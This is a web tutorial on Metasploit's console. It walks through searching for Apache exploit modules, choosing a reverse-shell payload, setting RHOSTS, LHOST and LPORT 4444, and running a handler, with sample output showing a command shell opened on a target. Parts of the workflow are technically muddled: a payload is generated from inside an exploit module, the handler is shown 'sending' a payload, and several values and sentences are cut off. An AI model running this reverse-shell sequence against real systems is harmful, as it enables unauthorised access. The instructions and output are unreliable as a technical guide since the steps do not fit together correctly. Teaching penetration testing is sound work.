How to Use Metasploit’s Interface?

In this tutorial, we will explore the powerful capabilities of Metasploit's interface. Metasploit is a popular penetration testing framework that allows security professionals to identify and exploit vulnerabilities in systems. By leveraging its extensive set of modules and functionalities, we can gain insights into potential security weaknesses and strengthen our own defenses. In this article, we will walk through the steps of using Metasploit's interface and demonstrate how it can be a valuable tool in the arsenal of a security practitioner.

Installing and Setting Up Metasploit

To begin our exploration of Metasploit, we need to install and set up the framework. Follow these steps:

  • Start by downloading Metasploit from the official website or via the package manager of your operating system.

  • Install Metasploit by following the installation instructions provided for your specific platform.

  • Once the installation is complete, launch the Metasploit console or open a terminal and type "msfconsole" to access the interface.

Installing and Setting Up Metasploit

$ sudo apt-get install metasploit-framework
$ msfconsole

Output  Metasploit Console

(_) ___  ___ _ __ ___ _ __ ___   __ _ _ __  _ __  
| |/ _ \/ __| '__/ _ \ '_ ` _ \ / _` | '_ \| '_ \
| | (_) \__ \ | |  __/ | | | | | (_| | |_) | |_) |
|_|\___/|___/_|  \___|_| |_| |_|\__,_| .__/| .__/
                                     |_|   |_|
Welcome to Metasploit (version x.x.x)

After installing Metasploit, we launch the Metasploit console (msfconsole) to access the interface. The console provides a command-line environment where we can interact with the framework and its modules.

Exploring Metasploit's Modules

Metasploit offers a vast collection of modules that encompass various exploits, payloads, auxiliary tools, and post-exploitation modules. Let's explore some of these modules 

  • Exploits  Exploit modules target specific vulnerabilities in systems. We can search for exploits using the "search" command, specifying keywords or vulnerability names.

Searching for Exploits

msf6 > search exploit
msf6 > search name:apache type:exploit

Output  Search Results

Matching Modules

   #  Name                                                Disclosure Date  Rank       Check  Description
   -  ----                                                ---------------  ----       -----  -----------
   0  exploit/multi/http/apache_activemq_upload_jsp   2021-07-02       excellent  Yes    Apache ActiveMQ Upload JSP File Exploit
   1  exploit/multi/http/apache_continuum_rest_exec    2016-10-29       excellent  Yes    Apache Continuum REST API Command Execution

The "search" command allows us to find relevant exploit modules. In this example, we search for Apache exploits and get a list of matching modules along with their descriptions and other details.

  • Payloads  Payload modules define the actions to be executed after a successful exploit. They can be used to gain remote control, escalate privileges, or extract information from compromised systems.

Displaying Payload Options

msf6 > use exploit/multi/http/apache_activemq_upload_jsp
msf6 exploit(multi/http/apache_activemq_upload_jsp) > show payloads

Output  Payload Options


   Name                            Disclosure Date  Rank       Description
   ----                            ---------------  ----       -----------
   cmd/unix/reverse                 Normal           Unix Command, Reverses the connection back to the attacker
   cmd/unix/reverse_perl            Excellent        Unix Command, Perl One-Liner

By selecting an exploit module, we can view the available payload options. These payloads determine the actions performed after successful exploitation.

Executing Exploits and Generating Payloads

Once we have identified an exploit and selected an appropriate payload, we can proceed to execute the exploit and generate a payload to gain control over the target system.

  • Configuring the Exploit  Before running an exploit, we often need to configure certain parameters, such as the target host or port. Use the "options" command to view and set the required options.

Configuring Exploit Options

msf6 exploit(multi/http/apache_activemq_upload_jsp) > options
msf6 exploit(multi/http/apache_activemq_upload_jsp) > set RHOSTS

Output  Setting Exploit Options

Module options (exploit/multi/http/apache_activemq_upload_jsp):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS    yes       The target address range or CIDR identifier

The "options" command displays the available configuration options for the selected exploit module. In this example, we set the target host (RHOSTS) to

  • Generating and Delivering the Payload  Once the exploit is configured, we can generate the payload and deliver it to the target system.

Generating and Delivering Payload

msf6 exploit(multi/http/apache_activemq_upload_jsp) > generate -t raw -f payload.bin
msf6 exploit(multi/http/apache_activemq_upload_jsp) > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload cmd/unix/reverse
msf6 exploit(multi/handler) > set LHOST
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > run

Output  Generating and Delivering Payload

[*] Started reverse TCP handler on
[*] Sending payload (payload.bin) to the target
[*] Command shell session X opened ( -> at 2023-07-15 14:30:00 +0000

In the above example, we generate a raw payload file (payload.bin) using the selected exploit module. We then set up a handler to receive the reverse connection from the target system. After executing the exploit, a command shell session is established, providing us with control over the compromised system.

Analyzing Results

Once we have executed exploits and obtained access to systems, it is crucial to analyze the results and deepen our understanding of the compromised environment. Consider the following steps 

  • Gathering Information  Use various Metasploit modules and commands to gather intelligence about the compromised system, such as running processes, open ports, and system configurations.

  • Expanding Exploitation  Metasploit offers numerous post-exploitation modules that allow us to pivot through the network, escalate privileges, and perform lateral movement.

  • Learning and Experimenting − Metasploit is a versatile framework with a vibrant community. Explore the official Metasploit documentation, join security forums, and participate in CTF (Capture The Flag) challenges to further enhance your knowledge and skills.


In this tutorial, we have explored the fundamental aspects of using Metasploit's interface. We learned how to install and set up Metasploit, explored its extensive module library, executed exploits, and generated payloads to gain control over target systems. By leveraging Metasploit's capabilities, security professionals can identify and address vulnerabilities, thereby enhancing the security posture of organizations. Remember to always practice responsible and ethical hacking, respecting the laws and guidelines that govern cybersecurity practices.

Disclaimer: The information presented in this tutorial is for educational purposes only. The usage of Metasploit and related tools should strictly adhere to applicable laws, regulations, and permissions.

Updated on: 27-Jul-2023


Kickstart Your Career

Get certified by completing the course

Get Started